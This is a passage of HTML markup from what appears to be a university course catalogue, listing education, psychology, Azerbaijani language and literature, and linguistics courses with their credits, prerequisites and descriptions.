credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Modern teaching methods and techniques of teaching mathematics.\r\nBasics concepts of Algebra, equation, systems of linear equations inequalities,\r\nelementary geometry, functions and graphing, inverse functions are touched upon\r\nin this course.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 406: Teaching of\r\nNatural Sciences (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Modern teaching methods and techniques of natural sciences. Role\r\nof natural sciences in the development of children. Overview of contemporary\r\nteaching methods and techniques. Readings and discussions.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 407: Student\r\nTeaching Internship (9 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Successful completion of all program requirements</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Required of undergraduate elementary education majors as\r\nculmination of program. Provides experience in an elementary school where the\r\nstudent assumes all teaching responsibilities for a minimum of ten weeks.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 408: Teaching\r\nMethods of Azerbaijani Language (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 206</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course outlines the method of teaching Azerbaijani lessons,\r\nvarious educational approaches to phonetics, morphology and syntax. It also\r\nprovides information on orthography, orthoepy, the use of punctuation marks,\r\nand organizational approaches to extra-curriculum activities on Azerbaijani\r\nlanguage. It offers visual, methodical and organizational works on Azerbaijani,\r\nillustrates the techniques of the students’ speech development and significance\r\nof stylistics studies.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 409: Teaching\r\nMethods of Azerbaijani Literature (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 307</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Based on the latest achievements in pedagogy, psychology, logic,\r\nand philology, this course covers methodical issues, such as, ways of teaching\r\nliterary works, carrying out literary writing, etc. Content, principles, rules,\r\nmethods and means connected with teaching of Azerbaijani literature are\r\nstudied. The main objective of the course is to give students brief overview of\r\nthe history of literature and works of leading literary figures, study\r\nmethodologies for analyzing literary works, and explore main issues studied in\r\nthe theory of literature and literary critics.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><br></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 411: Teaching\r\nMethods of Computer Science (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: CMS 101, EDU 276</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">A practical course on how to use computers in education. Topics\r\ninclude graphics, animations, Internet applications used in education. Computer\r\nassisted instruction. Computer assisted learning. Computer managed instruction.\r\nComputer administered education. Components of computer hardware, software, and\r\ncourseware. Application of microcomputer in education.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 468: Historical\r\nand Philosophical Foundations of Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Historical development of education. Philosophical theories that\r\nbear upon educational principles, policy making, and practice.&nbsp; Events,\r\nleaders, ideas, and movements underlying development of education. History and\r\nphilosophy of education through various periods and geographical areas.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>PSYC 101. Introduction\r\nto Psychology. Child Development (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: None</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Basic psychological processes and principles of human behavior.\r\nInteracting with other people and groups. Memory,&nbsp;perception, motivation.\r\nInterpretations of individual differences and development.&nbsp; Nature of\r\nchildren\'s&nbsp;minds and relations of childhood and adulthood. Cognitive,\r\nlanguage, psycho-social and moral development. Laboratory experience. Direct\r\ncontact with children.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>PSYC 304: Basics of\r\nEducational Psychology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Application of principles for understanding individual\r\ndifferences, learning, adjustment, classroom environments, and assessment to\r\ninstructional and educational issues. Challenges of diversity and teacher\r\neffectiveness are addressed.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em><br></em></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>SCI 101: The Earth an\r\nSpace Science (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Elements of Earth structure. Plants and Animals. Landscape.\r\nAtmosphere. The Sun and planets. The origin of Universe. Energy and matter.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>SOC 417: Sociology of\r\nEducation (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Study of education as a social process and social institution;\r\nthe relationship between education and other social institutions; analysis of\r\nthe social functions of education and the socialization process; school and\r\ncommunity; school as a social institution</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;<strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 101: Azerbaijani\r\nLanguage (University Requirement) (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: High School Azerbaijani language</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course prepares students for analyzing academic texts and\r\ntechnical material in Azerbaijani. Advanced skills in academic and creative\r\nwriting and reading comprehension are honed using academic literature across\r\nvarious disciplines. The topics cover culture, environment, customs and\r\ntraditions, history, economics, etc.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 102&nbsp; Introduction\r\nto Writing (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite AZLL 101.</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Writing Strategy. Planning and organizing source material for\r\nwriting, revising, editing and proofreading. Summaries, critiques and syntheses\r\nof texts. Essay and creative writing. Academic and Business writing. Prose\r\nstyle.&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 103: Azerbaijani\r\nLanguage for Foreigners (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main emphasis is the communicative role of four skills –\r\nreading, writing, listening, and speaking. These skills are taught within the\r\nframe of topics such as greetings, making acquaintances, congratulations and\r\nthankfulness, (dis) approvals, requests, demands, introductions, apologizing,\r\ncondolences, praying, etc.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 104: Advanced\r\nAzerbaijani Language (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 101</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">More complex in nature, this course covers the following\r\nproblematic areas of the Azerbaijani language. Semantic structure, meaning its\r\nnarrowing and broadening; semantic groupings in Azerbaijani language. Grammar,\r\nbasic divisions and relations within them; grammatical categories. Syntax, the\r\ntypes of phrases and the sentences; text linguistics and its problematic\r\nissues; syntax of poetry; punctuation marks and their functions.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 105: Azerbaijani\r\nLiterature (University Requirement) (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 101</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The course covers study of the Azerbaijani literature from\r\nAncient to contemporary times through historical periods. The life and works of\r\nprominent Azerbaijani poets and writers, as well as their literary works are\r\nstudied. The course also covers brief information about the history and theory\r\nof literature, main goals and objectives of literary critics, etc. Central to\r\nthe coursework is the study and discussion of selected works of prominent\r\nfigures in Azerbaijani literature.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 106: Modern Azerbaijani\r\nLanguage 1 (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course discusses the sound system, phonetic phenomenon and\r\nrules of Azerbaijan literary language. It explains pronunciation norms,\r\nformation and type of writing, peculiarities of alphabet, vocabulary structure\r\nand its richness, features and the ways of development. Information is given\r\nabout principles used in the orthography of Azerbaijani. The characteristic\r\nmeaning of words, types of proper names, and their origin and usage in\r\nAzerbaijani literary language are elucidated in this course. It also gives\r\ninformation about the dictionary and its various types, rules of dictionary\r\ncompilation, and ways of word-building in the literary language.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 107-307: History\r\nof Azerbaijani Literature 1-5 (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The course covers the emergence and evolution of the Azerbaijani\r\nliterature from the times of early folklore literature up to the present in\r\nchronological order and through the stages of its development. The life and\r\nworks of individual writers and poets who lived in different periods are\r\nstudied, their literary activities are explored, national and global issued on\r\nwhich they focused are analyzed, the literary influences of a writer/poet on\r\nothers are determined, and their creative activities are systemized in line\r\nwith the historical period they lived. Central to the coursework is the study\r\nof selected pieces of literary work by the students and discussions on these\r\nworks. The course is divided into the following 5 parts – each part lasts one\r\nsemester and consists of&nbsp;<strong>3 credits</strong>:</p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\"><strong><em>1.&nbsp;&nbsp;\r\n</em></strong><strong><em>AZLL 107: History of Azerbaijani Literature 1:\r\nAzerbaijani Folklore</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\"><strong><em>2.&nbsp;&nbsp;\r\n</em></strong><strong><em>AZLL 109: History of Azerbaijani Literature 2:\r\nAncient and Medieval Literature </em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;Prerequisite: AZLL 107</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\"><strong><em>3.&nbsp;&nbsp;\r\n</em></strong><strong><em>AZLL 207: History of Azerbaijani Literature 3:\r\nAzerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 109.</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\"><strong><em>4.&nbsp;&nbsp;\r\n</em></strong><strong><em>AZLL 208: History of Azerbaijani Literature 4:\r\nAzerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 207</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\"><strong><em>5.&nbsp;&nbsp;\r\n</em></strong><strong><em>AZLL 307: History of Azerbaijani Literature 5:\r\n20<sup>th</sup>&nbsp;century Azerbaijani Literature </em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify;margin-bottom:auto\"=\"\"><strong>Prerequisite: AZLL 208</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 108: Modern\r\nAzerbaijani Language 2 – Morphology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 106</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">All-important practical problems concerning morphology are\r\ncovered in the teaching of this subject. This curriculum analyzes the modern\r\nAzerbaijani grammatical system, its originality and other features. The words\r\nare grouped according to their meaning, form, function and rules of\r\nmodification.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 205: Advanced\r\nAzerbaijani Literature (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 105</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course aims at giving optimal knowledge on advanced\r\nAzerbaijani Literature. It covers the latest Azerbaijani Literature,\r\ndevelopment of journalistic genres, searches for new forms and contents in\r\nliterature. The course also includes written and oral compositions on the bases\r\nof classic and modern literary extracts.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 206: Modern Azerbaijani\r\nLanguage 3 – Syntax (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 108</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">It explains teaching of word combinations, syntactic relations,\r\nsentences, and their structural types. It also deals with punctuation marks and\r\ntheir proper use.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em><br></em></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 306: History of\r\nAzerbaijani Literary Language (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 206</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course explores the main sources of Azerbaijani language\r\nhistory and its origin, the rise of literary language, and problems extant in\r\ndevelopment periods. It also surveys the historical and cultural conditions of\r\nthe different periods. The role of outstanding personalities related to the\r\ndevelopmental history of Azerbaijan literary language is given in chronological\r\norder.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 416: Fundamentals\r\nof Literary Critics (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Fundamentals of Literary Critics as a subject is composed of\r\nthree parts: Theory of Literature, History of Literature, and Literary\r\nCritique. This course mainly deals with issues covered in the Theory of\r\nLiterature. Features of literary works and principles of reflecting real-life\r\nevents, as well as the social importance and role of literary works are\r\nstudied. The course also covers such topics as principles of literary\r\ncreativity and rules of their development, unity of content and form,\r\ncharacteristics of different types and genres, structures of literary works,\r\nstyles and methods, etc.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 417: The\r\nEnvironment of Eastern Languages and Azerbaijani Literature (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main objective of this course is to study role of Arabic and\r\nPersian rules of writing and literature in the formation of Azerbaijani rules\r\nof writing and literature.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 512: Azerbaijani\r\nDialectology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Dialectology (dialects) and accents are constructed in this\r\nsection of linguistics. This course explains the phonetic, lexical,\r\nmorphological and syntactical properties of dialects and accents. It also\r\nprovides an extensive classification of Azerbaijani dialects and accents on the\r\nprinciples of geographical territory and investigates the theoretical issues of\r\ndialectology.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 513: Onomastics (6\r\ncredits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The types of special names in language, their origin and use are\r\nelucidated in the course. It gives information about scientific classification\r\nand descriptions of all kinds of onomastic units.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 514: Textual\r\nCriticism (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Complex investigation of the historical roots and development of\r\nways of textual criticism as a science, as well as modern textual criticism,\r\nits methods and principles are pursued in this course. The emergence and\r\ndevelopment of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript\r\nbooks and booklets, scientific analyses of the manuscript text copies,\r\nexploration of text origins, attribution of the text (the determination of the\r\nauthor), research of text translations, text preparation for publications and\r\netc. are comprehensively enlightened.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 515: Azerbaijani\r\nHistorical Grammar (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides general information about historical\r\ngrammar, discusses the developmental processes of separate parts of speech,\r\ninvestigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the\r\norigin of the language and historical development of its morphological\r\nfeatures, and explains and elucidates the establishment of the modern language.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 215: Introduction\r\nto Linguistics (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course gives basic knowledge of the historical background,\r\nformation, common features and diversities of the languages and language\r\nfamilies. The course focuses primarily on the methods and techniques of\r\nlinguistic analyses, including meaning, evaluation and changes of regional and\r\nsocial dialects. It discusses development of linguistic quality assessment\r\nmodels from the historical and theoretical angles.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 216: Fundamentals\r\nof Linguistics (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course explores general problems in the study of\r\nlinguistics. It illustrates the origin and development of linguistics, the\r\nworld languages and their classifications. It interprets the relations between\r\nlanguage and its writing, origin of writing,&nbsp;its peculiarities and periods\r\nof development.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 310: Phonology (6\r\ncredits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LING 216</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">It teaches the speech sounds and prosodic events (height,\r\nlength, and strength of tone) as a meaning distinguishing device (phoneme) of\r\nwords, morphemes and a system of phonemes of the language, and investigates\r\ntheir functional features.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 420: Languages of\r\nthe World (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LING 215</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Survey of language families of the world: classifying languages\r\ngenetically and typologically; historical relations among languages.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 421:\r\nSociolinguistics (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LING 215</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Social determinants of linguistic diversity, variability, and\r\nchange; linguistic behavior and social control; methods of community-based\r\nlinguistics research.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 422: Linguistic\r\nAnalysis (6 credits</em></strong><em>)</em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LING 215</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Techniques for analyzing phonological, morphological, and\r\nsyntactic data from a variety of languages; discovering, stating and justifying\r\ngeneralizations; comparison of diverse languages.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" 